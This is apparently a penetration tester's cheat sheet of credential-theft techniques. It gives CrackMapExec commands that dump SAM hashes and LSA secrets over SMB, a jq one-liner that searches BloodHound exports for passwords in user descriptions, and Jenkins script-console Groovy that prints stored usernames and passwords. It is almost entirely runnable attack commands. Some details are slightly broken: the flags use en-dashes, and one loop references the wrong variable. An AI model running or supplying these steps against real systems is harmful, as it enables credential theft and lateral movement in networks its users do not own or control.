- CrackMapExec
	- `cme smb <target> –u ValidUser –p ValidPass --sam`
		- Dumps the SAM file - local users only (not domain)
	- `cme smb <target> –u ValidUser –p ValidPass --lsa`
		- Dump LSA secrets from the registry - includes Domain Cached Credentials
- Checking BloodHound data for credentials in user descriptions
	- `cat <bloodhound_user_json_file> | jq '.data[].Properties | select(.enabled == true) | .name + " " + .description'`
- Extracting Jenkins credentials from script console
```Groovy
/* All Credentials */
import jenkins.*
import jenkins.model.* 
import hudson.*
import hudson.model.*
def jenkinsCredentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
        com.cloudbees.plugins.credentials.Credentials.class,
        Jenkins.instance,
        null,
        null
);
for (creds in jenkinsCredentials) {
    println(jenkinsCredentials.id)
    }

/* Specific Credentials */
import jenkins.*
import jenkins.model.* 
import hudson.*
import hudson.model.*
def jenkinsCredentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
        com.cloudbees.plugins.credentials.Credentials.class,
        Jenkins.instance,
        null,
        null
);
for (creds in jenkinsCredentials) {
  if(creds.id == "<credential_id>"){
    println(creds.<variable_name_suchas_username>)
    println(creds.<variable_name_suchas_password>)
    }
}
```